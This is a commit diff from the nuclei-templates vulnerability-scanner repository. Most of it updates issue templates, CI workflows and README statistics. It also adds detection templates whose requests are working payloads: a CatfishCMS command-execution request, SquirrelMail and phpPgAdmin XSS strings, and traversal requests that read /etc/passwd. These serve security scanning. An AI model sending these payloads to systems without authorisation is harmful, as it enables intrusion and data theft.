add grafana file read (#3286 )

* add grafana file read * update: more reference Co-authored-by: dev <z0ne> Co-authored-by: sandeep <[email protected]>
Merge pull request #3281 from daffainfo/master
2026-11-07 08:36:19 -10:00 · 2021-12-07 15:42:59 +05:30 · 2021-12-07 13:59:14 +05:30 · 2021-12-07 13:58:13 +05:30 · 2021-12-07 13:56:30 +05:30 · 2021-12-07 13:43:29 +05:30
1005 changed files with 36793 additions and 2360 deletions
@@ -1,32 +0,0 @@
---
-name: Bug report
-about: Create a issue to help us improve
-title: "[Bug] "
-labels: ''
-assignees: ''
-
---
-
-**Nuclei version**
-
-```
-nuclei -version 
-```
-
-**Nuclei template version**
-
-```
-cat ~/.nuclei-config.json
-```
-
-**Describe the bug**
-A clear and concise description of what the bug is.
-
-**Commands to reproduce**
-
-```
-nuclei -t xxx -target xxx
-```
-
-**Screenshots**
-If applicable, add screenshots to help explain your problem.
@@ -0,0 +1,14 @@
+blank_issues_enabled: false
+
+contact_links:
+  - name: Ask an question / advise on using nuclei-templates
+    url: https://github.com/projectdiscovery/nuclei-templates/discussions/categories/q-a
+    about: Ask a question or request support for using nuclei-templates
+
+  - name: Share idea / feature to discuss for nuclei-templates
+    url: https://github.com/projectdiscovery/nuclei-templates/discussions/categories/ideas
+    about: Share idea / feature to discuss for nuclei-templates
+
+  - name: Connect with PD Team & Community (Discord)
+    url: https://discord.gg/projectdiscovery
+    about: Connect with PD Team & Community for direct communication
@@ -0,0 +1,21 @@
+---
+name: False Negative
+about: 'Issue for template missing valid/expected result.'
+labels: 'false-negative'
+
+---
+
+<!-- ISSUES MISSING IMPORTANT INFORMATION MAY BE CLOSED WITHOUT INVESTIGATION. -->
+
+### Nuclei Version:
+
+<!-- You can find current version of nuclei with "nuclei -version" -->
+
+### Template file:
+
+<!-- Template producing false-negative results, for example: "cves/XX/XX.yaml" -->
+
+### Command to reproduce:
+
+<!-- Please include the command to replicate the behavior so fix can be applied asap. -->
+<!-- if host information can not be shared publicly, please reach out to us on discord server in DM -->
@@ -1,30 +1,24 @@
 ---
 name: False Positive
-about: 'Create an issue if you found false positive results. '
-title: "[false-positive] template-name "
+about: 'Issue for template producing invalid/unexpected result.'
 labels: 'false-positive'
-assignees: ''

 ---

-**Nuclei version**
+<!-- ISSUES MISSING IMPORTANT INFORMATION MAY BE CLOSED WITHOUT INVESTIGATION. -->

-```
-nuclei -version 
-```
+### Nuclei Version:

-**Nuclei template version**
+<!-- You can find current version of nuclei with "nuclei -version" -->

-```
-cat ~/.nuclei-config.json
-```
+### Template file:

-**Template ID**
+<!-- Template producing false-positive results, for example: "cves/XX/XX.yaml" -->

-Please submit the ID template producing false-positive results. 
+### Command to reproduce:

-**Commands to Reproduce**
+<!-- Please include the command to replicate the behavior so fix can be applied asap. -->
+<!-- if host information can not be shared publicly, please reach out to us on discord server in DM -->

-```
-nuclei -t template_id -target ?
-```
+### Anything else:
+<!-- Links? References? Screnshots? Anything that will give us more context about the issue that you are encountering! -->
@@ -1,16 +1,18 @@
 ---
 name: Feature request
-about: Suggest an idea to improve nuclei templates
-title: "[Feature] "
-labels: ''
-assignees: ''
-
+about: Request feature to implement in this project
+labels: 'Type: Enhancement'
 ---

-**Is your feature request related to a problem? Please describe.**
+<!--
+1. Please make sure to provide a detailed description with all the relevant information that might be required to start working on this feature.
+2. In case you are not sure about your request or whether the particular feature is already supported or not, please start a discussion instead.
+3. GitHub Discussion: https://github.com/projectdiscovery/nuclei-templates/discussions/categories/ideas
+4. Join our discord server at https://discord.gg/projectdiscovery to discuss the idea on the #nuclei-templates channel.
+-->

-A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+### Please describe your feature request:
+<!-- A clear and concise description of feature to implement -->

-**Describe the solution you'd like**
-
-A clear and concise description of what you want to happen.
+### Describe the use case of this feature:
+<!-- A clear and concise description of the feature request's motivation and the use-cases in which it could be useful. -->
@@ -0,0 +1,21 @@
+---
+name: Issue report
+about: "Issue to report invalid template"
+labels: 'Type: Bug'
+
+---
+
+<!-- 
+1. Please search to see if an issue already exists for the bug you encountered.
+2. For support requests, FAQs or "How to" questions, please use the GitHub Discussions section instead - https://github.com/projectdiscovery/nuclei-templates/discussions or
+3. Join our discord server at https://discord.gg/projectdiscovery and post the question on the #nuclei-templates channel.
+-->
+
+<!-- ISSUES MISSING IMPORTANT INFORMATION MAY BE CLOSED WITHOUT INVESTIGATION. -->
+
+### Issue description:
+<!-- A concise description of what you're experiencing. -->
+
+
+### Anything else:
+<!-- Links? References? Screnshots? Anything that will give us more context about the issue that you are encountering! -->
@@ -1,15 +1,23 @@
 ---
-name: Submit Template
-about: Submit nuclei template using issue
-title: "[nuclei-template] template-name"
+name: Template Contribution
+about: Contributing nuclei template using GitHub Issue
 labels: 'nuclei-template'
-assignees: ''
-
 ---

-**Template Details**
+### Template Information:
+
+<!-- Include basic information of the template including reference -->
+<!-- Templates without any reference mostly likely to take more time for review/validation -->
+
+
+### Nuclei Template:
+
+<!-- Include nuclei template in between code block shared below -->
+

 ```yaml

-nuclei template goes here
 ```
+
+<!-- Include template results if available or redacted valid response snippet of valid match -->
+<!-- Example response help us to update the matchers as unique as possible to avoid possible false-positive results. -->
@@ -67,12 +67,15 @@ Feel free to open a discussion on [Github discussions](https://github.com/projec
 👨‍💻 Community
 -----

-You are welcome to join our [Discord Community](https://discord.gg/KECAGdH).
-You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
+You are welcome to join the active [Discord Community](https://discord.gg/projectdiscovery) to discuss directly with project maintainers and share things with others around security and automation.
+Additionally, you may follow us on [Twitter](https://twitter.com/pdnuclei) to be updated on all the things about Nuclei.

-💡 Notes
-----
-  Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>


 Thanks again for your contribution and keeping this community vibrant. :heart:
@@ -1,15 +1,16 @@
 name: 📝 Readme Update

 on:
-  create:
-    tags:
-      - v*
+  workflow_run:
+    workflows: ["🗒 Templates Stats"]
+    types:
+      - completed
  workflow_dispatch:

 jobs:
  build:
    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates' && github.ref == 'refs/heads/master'
+    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
      - name: Install tree
        run: sudo apt-get install tree -y
@@ -26,20 +27,20 @@ jobs:
          python-version: "3.8"

      - name: Update README
-        id: update-readme
+        id: readme-update
        run: |
          python .github/scripts/update-readme.py
          echo "::set-output name=changes::$(git status -s | wc -l)"

      - name: Commit files
-        if: steps.update-readme.outputs.changes > 0
+        if: steps.readme-update.outputs.changes > 0
        run: |
          git config --local user.email "[email protected]"
          git config --local user.name "GitHub Action"
-          git commit -m "Auto Update README [$(date)] :robot:" -a
+          git commit -m "Auto README Update [$(date)] :robot:" -a

      - name: Push changes
-        if: steps.update-readme.outputs.changes > 0
+        if: steps.readme-update.outputs.changes > 0
        uses: ad-m/github-push-action@master
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
@@ -11,23 +11,19 @@ jobs:
        with: 
          go-version: 1.17

-      #- name: Cache Go
-      #  id: cache-go
-      #  uses: actions/cache@v2
-      #  with:
-      #    path: /home/runner/go
-      #    key: ${{ runner.os }}-go
+      - name: Cache Go
+        id: cache-go
+        uses: actions/cache@v2
+        with:
+          path: /home/runner/go
+          key: ${{ runner.os }}-go

      - name: Installing Nuclei
-        # if: steps.cache-go.outputs.cache-hit != 'true'
-        env:
-          GO111MODULE: on
+        if: steps.cache-go.outputs.cache-hit != 'true'
        run: |
-          go install github.com/projectdiscovery/nuclei/v2/cmd/nuclei@master
-        shell: bash
+          go install github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

      - name: Template Validation
        run: |
          nuclei -validate -t .
-          nuclei -validate -w ./workflows
-        shell: bash
+          nuclei -validate -w ./workflows
@@ -1,15 +1,11 @@
 name: 🗒 Templates Stats

 on:
-  create:
-    tags:
-      - v*
  workflow_dispatch:

 jobs:
  build:
    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates' && github.ref == 'refs/heads/master'
    steps:
      - uses: actions/checkout@master
      - uses: actions/setup-go@v2
@@ -13,4 +13,4 @@ tags:
  - "misc"

 # files is a list of files to ignore template execution
-# unless asked for by the user.
+# unless asked for by the user.
@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,

 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |   690 | dhiyaneshdk   |   252 | cves             |   696 | info     |   625 | http    |  1904 |
-| lfi       |   250 | pikpikcu      |   250 | vulnerabilities  |   291 | high     |   540 | file    |    46 |
-| panel     |   248 | daffainfo     |   199 | exposed-panels   |   247 | medium   |   428 | network |    41 |
-| xss       |   227 | pdteam        |   195 | exposures        |   186 | critical |   267 | dns     |    11 |
-| exposure  |   226 | geeknik       |   151 | technologies     |   178 | low      |   147 |         |       |
-| wordpress |   207 | dwisiswant0   |   132 | misconfiguration |   131 |          |       |         |       |
-| rce       |   195 | gy741         |    72 | takeovers        |    63 |          |       |         |       |
-| tech      |   169 | madrobot      |    62 | default-logins   |    56 |          |       |         |       |
-| cve2020   |   160 | princechaddha |    60 | file             |    46 |          |       |         |       |
-| wp-plugin |   140 | pussycat0x    |    58 | workflows        |    36 |          |       |         |       |
+| cve       |   907 | dhiyaneshdk   |   338 | cves             |   913 | info     |   903 | http    |  2477 |
+| lfi       |   377 | daffainfo     |   333 | vulnerabilities  |   347 | high     |   691 | file    |    57 |
+| panel     |   318 | pikpikcu      |   286 | exposed-panels   |   318 | medium   |   516 | network |    47 |
+| xss       |   283 | pdteam        |   216 | technologies     |   220 | critical |   322 | dns     |    12 |
+| wordpress |   270 | geeknik       |   172 | exposures        |   196 | low      |   166 |         |       |
+| exposure  |   250 | dwisiswant0   |   156 | misconfiguration |   163 |          |       |         |       |
+| rce       |   230 | pussycat0x    |    90 | token-spray      |   127 |          |       |         |       |
+| tech      |   223 | gy741         |    88 | takeovers        |    65 |          |       |         |       |
+| cve2021   |   188 | 0x_akoko      |    76 | default-logins   |    63 |          |       |         |       |
+| wp-plugin |   186 | princechaddha |    72 | file             |    57 |          |       |         |       |

-**164 directories, 2063 files**.
+**190 directories, 2663 files**.

 </td>
 </tr>
@@ -80,12 +80,15 @@ Feel free to open a discussion on [Github discussions](https://github.com/projec
 👨‍💻 Community
 -----

-You are welcome to join our [Discord Community](https://discord.gg/KECAGdH).
-You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
+You are welcome to join the active [Discord Community](https://discord.gg/projectdiscovery) to discuss directly with project maintainers and share things with others around security and automation.
+Additionally, you may follow us on [Twitter](https://twitter.com/pdnuclei) to be updated on all the things about Nuclei.

-💡 Notes
-----
-  Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>


 Thanks again for your contribution and keeping this community vibrant. :heart:
@@ -1 +1 @@
-{"tags":[{"name":"cve","count":690},{"name":"lfi","count":250},{"name":"panel","count":248},{"name":"xss","count":227},{"name":"exposure","count":226},{"name":"wordpress","count":207},{"name":"rce","count":195},{"name":"tech","count":169},{"name":"cve2020","count":160},{"name":"wp-plugin","count":140},{"name":"cve2021","count":115},{"name":"cve2019","count":93},{"name":"config","count":93},{"name":"cve2018","count":82},{"name":"joomla","count":74},{"name":"apache","count":68},{"name":"takeover","count":66},{"name":"token","count":65},{"name":"cve2010","count":64},{"name":"default-login","count":63},{"name":"iot","count":62},{"name":"oob","count":51},{"name":"cve2017","count":49},{"name":"file","count":46},{"name":"unauth","count":45},{"name":"network","count":41},{"name":"sqli","count":38},{"name":"","count":36},{"name":"oracle","count":36},{"name":"ssrf","count":35},{"name":"cve2016","count":32},{"name":"logs","count":30},{"name":"redirect","count":30},{"name":"jira","count":28},{"name":"atlassian","count":27},{"name":"listing","count":25},{"name":"misc","count":23},{"name":"cve2015","count":21},{"name":"disclosure","count":21},{"name":"generic","count":20},{"name":"auth-bypass","count":20},{"name":"cisco","count":19},{"name":"aem","count":19},{"name":"router","count":19},{"name":"sap","count":18},{"name":"springboot","count":17},{"name":"debug","count":16},{"name":"cve2014","count":15},{"name":"misconfig","count":15},{"name":"cve2012","count":14},{"name":"cve2011","count":14},{"name":"weblogic","count":14},{"name":"login","count":14},{"name":"android","count":13},{"name":"adobe","count":13},{"name":"struts","count":13},{"name":"fuzz","count":13},{"name":"devops","count":13},{"name":"php","count":13},{"name":"dlink","count":12},{"name":"dns","count":12},{"name":"jenkins","count":12},{"name":"cve2013","count":11},{"name":"zoho","count":11},{"name":"dell","count":10},{"name":"aws","count":10},{"name":"xxe","count":9},{"name":"ftp","count":9},{"name":"magento","count":9},{"name":"airflow","count":8},{"name":"intrusive","count":8},{"name":"rails","count":8},{"name":"scada","count":8},{"name":"gitlab","count":8},{"name":"nginx","count":8},{"name":"cnvd","count":8},{"name":"ruijie","count":8},{"name":"backup","count":7},{"name":"netgear","count":7},{"name":"coldfusion","count":7},{"name":"files","count":7},{"name":"kubernetes","count":7},{"name":"cve2009","count":7},{"name":"cms","count":7},{"name":"google","count":7},{"name":"confluence","count":7},{"name":"vmware","count":7},{"name":"ibm","count":7},{"name":"laravel","count":6},{"name":"cve2008","count":6},{"name":"docker","count":6},{"name":"api","count":6},{"name":"django","count":6},{"name":"solr","count":6},{"name":"citrix","count":6},{"name":"rconfig","count":6},{"name":"jetty","count":6},{"name":"circarlife","count":5},{"name":"jolokia","count":5},{"name":"wp-theme","count":5},{"name":"headless","count":5},{"name":"windows","count":5},{"name":"microsoft","count":5},{"name":"dedecms","count":5},{"name":"ssti","count":5},{"name":"phpmyadmin","count":5},{"name":"tomcat","count":5},{"name":"deserialization","count":5},{"name":"iis","count":5},{"name":"fileupload","count":5},{"name":"drupal","count":5},{"name":"nodejs","count":5},{"name":"lucee","count":5},{"name":"printer","count":5},{"name":"java","count":5},{"name":"wso2","count":4},{"name":"webserver","count":4},{"name":"thinkcmf","count":4},{"name":"traversal","count":4},{"name":"exchange","count":4},{"name":"grafana","count":4},{"name":"samsung","count":4},{"name":"hongdian","count":4},{"name":"resin","count":4},{"name":"crlf","count":4},{"name":"thinkphp","count":4},{"name":"strapi","count":4},{"name":"magmi","count":4},{"name":"proxy","count":4},{"name":"vpn","count":4},{"name":"firmware","count":4},{"name":"artifactory","count":4},{"name":"symantec","count":4},{"name":"glpi","count":4},{"name":"solarwinds","count":4},{"name":"zimbra","count":4},{"name":"buffalo","count":4},{"name":"elastic","count":4},{"name":"symfony","count":4},{"name":"asp","count":4},{"name":"hp","count":4},{"name":"moodle","count":4},{"name":"openssh","count":3},{"name":"fanruan","count":3},{"name":"httpd","count":3},{"name":"tikiwiki","count":3},{"name":"bypass","count":3},{"name":"springcloud","count":3},{"name":"nacos","count":3},{"name":"prometheus","count":3},{"name":"bigip","count":3},{"name":"ebs","count":3},{"name":"ssh","count":3},{"name":"backups","count":3},{"name":"firebase","count":3},{"name":"fpd","count":3},{"name":"cacti","count":3},{"name":"nosqli","count":3},{"name":"terramaster","count":3},{"name":"caucho","count":3},{"name":"ofbiz","count":3},{"name":"slack","count":3},{"name":"oa","count":3},{"name":"nexus","count":3},{"name":"kafka","count":3},{"name":"amazon","count":3},{"name":"log","count":3},{"name":"mail","count":3},{"name":"openam","count":3},{"name":"zabbix","count":3},{"name":"camera","count":3},{"name":"vbulletin","count":3},{"name":"jellyfin","count":3},{"name":"r-seenet","count":3},{"name":"kibaLine truncated
+{"tags":[{"name":"cve","count":907},{"name":"lfi","count":377},{"name":"panel","count":318},{"name":"xss","count":283},{"name":"wordpress","count":270},{"name":"exposure","count":250},{"name":"rce","count":230},{"name":"tech","count":223},{"name":"cve2021","count":188},{"name":"wp-plugin","count":186},{"name":"cve2020","count":171},{"name":"joomla","count":128},{"name":"token-spray","count":127},{"name":"cve2010","count":109},{"name":"cve2019","count":106},{"name":"cve2018","count":101},{"name":"config","count":100},{"name":"iot","count":84},{"name":"oast","count":80},{"name":"apache","count":80},{"name":"default-login","count":71},{"name":"takeover","count":69},{"name":"token","count":68},{"name":"file","count":57},{"name":"unauth","count":57},{"name":"cve2017","count":56},{"name":"ssrf","count":47},{"name":"sqli","count":46},{"name":"network","count":45},{"name":"","count":44},{"name":"oracle","count":41},{"name":"misconfig","count":41},{"name":"cve2016","count":40},{"name":"redirect","count":38},{"name":"logs","count":34},{"name":"cve2015","count":31},{"name":"google","count":31},{"name":"jira","count":30},{"name":"cisco","count":29},{"name":"atlassian","count":29},{"name":"listing","count":29},{"name":"cve2014","count":28},{"name":"auth-bypass","count":27},{"name":"router","count":26},{"name":"generic","count":24},{"name":"disclosure","count":22},{"name":"misc","count":21},{"name":"aem","count":20},{"name":"cve2012","count":19},{"name":"debug","count":19},{"name":"login","count":19},{"name":"springboot","count":18},{"name":"sap","count":18},{"name":"php","count":16},{"name":"wp-theme","count":16},{"name":"weblogic","count":16},{"name":"aws","count":15},{"name":"cve2011","count":15},{"name":"fuzz","count":15},{"name":"devops","count":15},{"name":"deserialization","count":14},{"name":"struts","count":14},{"name":"cve2009","count":14},{"name":"adobe","count":14},{"name":"dns","count":13},{"name":"intrusive","count":13},{"name":"dlink","count":13},{"name":"android","count":13},{"name":"manageengine","count":12},{"name":"zoho","count":12},{"name":"xxe","count":12},{"name":"jenkins","count":12},{"name":"cve2013","count":11},{"name":"hp","count":11},{"name":"ibm","count":11},{"name":"magento","count":11},{"name":"microsoft","count":11},{"name":"dell","count":10},{"name":"cve2008","count":9},{"name":"fastjson","count":9},{"name":"gitlab","count":9},{"name":"ftp","count":9},{"name":"vmware","count":9},{"name":"cms","count":9},{"name":"airflow","count":9},{"name":"kubernetes","count":9},{"name":"rails","count":9},{"name":"fileupload","count":9},{"name":"cnvd","count":8},{"name":"scada","count":8},{"name":"nginx","count":8},{"name":"ruijie","count":8},{"name":"backup","count":8},{"name":"netgear","count":8},{"name":"coldfusion","count":8},{"name":"files","count":7},{"name":"solr","count":7},{"name":"confluence","count":7},{"name":"prometheus","count":7},{"name":"camera","count":7},{"name":"django","count":7},{"name":"jetty","count":6},{"name":"sitecore","count":6},{"name":"go","count":6},{"name":"drupal","count":6},{"name":"glpi","count":6},{"name":"squirrelmail","count":6},{"name":"api","count":6},{"name":"lucee","count":6},{"name":"laravel","count":6},{"name":"nodejs","count":6},{"name":"jolokia","count":6},{"name":"grafana","count":6},{"name":"windows","count":6},{"name":"docker","count":6},{"name":"rconfig","count":6},{"name":"phpmyadmin","count":6},{"name":"citrix","count":6},{"name":"iis","count":5},{"name":"wso2","count":5},{"name":"headless","count":5},{"name":"printer","count":5},{"name":"gocd","count":5},{"name":"crlf","count":5},{"name":"tomcat","count":5},{"name":"minio","count":5},{"name":"fatpipe","count":5},{"name":"symfony","count":5},{"name":"ssti","count":5},{"name":"thinkphp","count":5},{"name":"dedecms","count":5},{"name":"exchange","count":5},{"name":"java","count":5},{"name":"git","count":5},{"name":"circarlife","count":5},{"name":"hongdian","count":4},{"name":"vpn","count":4},{"name":"symantec","count":4},{"name":"artifactory","count":4},{"name":"buffalo","count":4},{"name":"webserver","count":4},{"name":"proxy","count":4},{"name":"zabbix","count":4},{"name":"rfi","count":4},{"name":"thinkcmf","count":4},{"name":"traversal","count":4},{"name":"microstrategy","count":4},{"name":"asp","count":4},{"name":"opensis","count":4},{"name":"firebase","count":4},{"name":"slack","count":4},{"name":"enum","count":4},{"name":"zimbra","count":4},{"name":"moodle","count":4},{"name":"panos","count":4},{"name":"magmi","count":4},{"name":"keycloak","count":4},{"name":"bigip","count":4},{"name":"amazon","count":4},{"name":"cve2007","count":4},{"name":"npm","count":4},{"name":"jellyfin","count":4},{"name":"strapi","count":4},{"name":"samsung","count":4},{"name":"elastic","count":4},{"name":"solarwinds","count":4},{"name":"firmware","count":4},{"name":"wcs","count":4},{"name":"resin","count":4},{"name":"maps","count":4},{"name":"zhiyuan","count":3},{"name":"caucho","count":3},{"name":"github","count":3},{"name":Line truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |   690 | dhiyaneshdk   |   252 | cves             |   696 | info     |   625 | http    |  1904 |
-| lfi       |   250 | pikpikcu      |   250 | vulnerabilities  |   291 | high     |   540 | file    |    46 |
-| panel     |   248 | daffainfo     |   199 | exposed-panels   |   247 | medium   |   428 | network |    41 |
-| xss       |   227 | pdteam        |   195 | exposures        |   186 | critical |   267 | dns     |    11 |
-| exposure  |   226 | geeknik       |   151 | technologies     |   178 | low      |   147 |         |       |
-| wordpress |   207 | dwisiswant0   |   132 | misconfiguration |   131 |          |       |         |       |
-| rce       |   195 | gy741         |    72 | takeovers        |    63 |          |       |         |       |
-| tech      |   169 | madrobot      |    62 | default-logins   |    56 |          |       |         |       |
-| cve2020   |   160 | princechaddha |    60 | file             |    46 |          |       |         |       |
-| wp-plugin |   140 | pussycat0x    |    58 | workflows        |    36 |          |       |         |       |
+| cve       |   907 | dhiyaneshdk   |   338 | cves             |   913 | info     |   903 | http    |  2477 |
+| lfi       |   377 | daffainfo     |   333 | vulnerabilities  |   347 | high     |   691 | file    |    57 |
+| panel     |   318 | pikpikcu      |   286 | exposed-panels   |   318 | medium   |   516 | network |    47 |
+| xss       |   283 | pdteam        |   216 | technologies     |   220 | critical |   322 | dns     |    12 |
+| wordpress |   270 | geeknik       |   172 | exposures        |   196 | low      |   166 |         |       |
+| exposure  |   250 | dwisiswant0   |   156 | misconfiguration |   163 |          |       |         |       |
+| rce       |   230 | pussycat0x    |    90 | token-spray      |   127 |          |       |         |       |
+| tech      |   223 | gy741         |    88 | takeovers        |    65 |          |       |         |       |
+| cve2021   |   188 | 0x_akoko      |    76 | default-logins   |    63 |          |       |         |       |
+| wp-plugin |   186 | princechaddha |    72 | file             |    57 |          |       |         |       |
@@ -0,0 +1,27 @@
+id: CNVD-2019-06255
+
+info:
+  name: CatfishCMS RCE
+  author: Lark-Lab
+  severity: medium
+  reference: http://112.124.31.29/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-CMS%E6%BC%8F%E6%B4%9E/CatfishCMS/CNVD-2019-06255%20CatfishCMS%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
+  tags: rce,cvnd,catfishcms
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/s=set&_method=__construct&method=*&filter[]=system"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        condition: and
+        words:
+          - 'OS'
+          - 'PATH'
+          - 'SHELL'
+          - 'USER'
@@ -0,0 +1,27 @@
+id: CVE-2000-0114
+
+info:
+  name: Microsoft FrontPage Extensions Check (shtml.dll)
+  author: r3naissance
+  severity: low
+  description: Frontpage Server Extensions allows remote attackers to determine the name of the anonymous account via an RPC POST request to shtml.dll in the /_vti_bin/ virtual directory.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2000-0114
+    - https://www.exploit-db.com/exploits/19897
+  tags: cve,cve2000,frontpage,microsoft
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/_vti_inf.html'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: body
+        words:
+          - "_vti_bin/shtml.dll"
@@ -1,14 +1,19 @@
-id: deprecated-sshv1-detection
+id: CVE-2001-1473

 info:
  name: Deprecated SSHv1 Protocol Detection
  author: iamthefrogy
-  severity: medium
-  tags: network,ssh,openssh
+  severity: high
+  tags: network,ssh,openssh,cves,cves2001
  description: SSHv1 is deprecated and has known cryptographic issues.
  reference:
    - https://www.kb.cert.org/vuls/id/684820
    - https://nvd.nist.gov/vuln/detail/CVE-2001-1473
+  classification:
+    cvss-score: 7.4
+    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
+    cve-id: CVE-2001-1473
+    cwe-id: CWE-310

 network:
  - host:
@@ -0,0 +1,35 @@
+id: CVE-2002-1131
+
+info:
+  name: SquirrelMail 1.2.6/1.2.7 - Multiple Cross-Site Scripting Vulnerabilities
+  author: dhiyaneshDk
+  severity: medium
+  description: The Virtual Keyboard plugin for SquirrelMail is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
+  reference: https://www.exploit-db.com/exploits/21811
+  tags: xss,squirrelmail,cve,cve2002
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/src/addressbook.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+      - '{{BaseURL}}/src/options.php?optpage=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+      - '{{BaseURL}}/src/search.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&what=x&where=BODY&submit=Search'
+      - '{{BaseURL}}/src/search.php?mailbox=INBOX&what=x&where=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&submit=Search'
+      - '{{BaseURL}}/src/help.php?chapter=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: body
+        words:
+          - "</script><script>alert(document.domain)</script>"
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
@@ -0,0 +1,30 @@
+id: CVE-2004-0519
+
+info:
+  name: SquirrelMail 1.4.x - Folder Name Cross-Site Scripting
+  author: dhiyaneshDk
+  severity: medium
+  description: "Multiple cross-site scripting (XSS) vulnerabilities in SquirrelMail 1.4.2 allow remote attackers to execute arbitrary script as other users and possibly steal authentication information via multiple attack vectors, including the mailbox parameter in compose.php."
+  reference: https://www.exploit-db.com/exploits/24068
+  tags: xss,squirrelmail,cve2004,cve
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/mail/src/compose.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: body
+        words:
+          - "</script><script>alert(document.domain)</script>"
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
@@ -0,0 +1,25 @@
+id: CVE-2006-2842
+
+info:
+  name: Squirrelmail 1.4.x - 'Redirect.php' Local File Inclusion
+  author: dhiyaneshDk
+  severity: high
+  description: "PHP remote file inclusion vulnerability in functions/plugin.php in SquirrelMail 1.4.6 and earlier, if register_globals is enabled and magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary PHP code via a URL in the plugins array parameter.  NOTE: this issue has been disputed by third parties, who state that Squirrelmail provides prominent warnings to the administrator when register_globals is enabled.  Since the varieties of administrator negligence are uncountable, perhaps this type of issue should not be included in CVE.  However, the original developer has posted a security advisory, so there might be relevant real-world environments under which this vulnerability is applicable."
+  reference: https://www.exploit-db.com/exploits/27948
+  tags: cve2006,lfi,squirrelmail,cve
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/src/redirect.php?plugins[]=../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2007-4504
+
+info:
+  name: Joomla! Component RSfiles 1.0.2 - 'path' File Download
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in index.php in the RSfiles component (com_rsfiles) 1.0.2 and earlier for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the path parameter in a files.display action.
+  reference:
+    - https://www.exploit-db.com/exploits/4307
+    - https://www.cvedetails.com/cve/CVE-2007-4504
+  tags: cve,cve2007,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_rsfiles&task=files.display&path=../../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,32 @@
+id: CVE-2007-5728
+
+info:
+  name: phpPgAdmin 4.1.1 - 'Redirect.php' Cross-Site Scripting
+  author: dhiyaneshDK
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in phpPgAdmin 3.5 to 4.1.1, and possibly 4.1.2, allows remote attackers to inject arbitrary web script or HTML via certain input available in PHP_SELF in (1) redirect.php, possibly related to (2) login.php, different vectors than CVE-2007-2865.
+  tags: cve,cve2007,xss,pgadmin
+  reference: https://www.exploit-db.com/exploits/30090
+  metadata:
+    shodan-query: 'http.title:"phpPgAdmin"'
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/redirect.php/%22%3E%3Cscript%3Ealert(%22document.domain%22)%3C/script%3E?subject=server&server=test'
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - '<script>alert("document.domain")</script>'
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
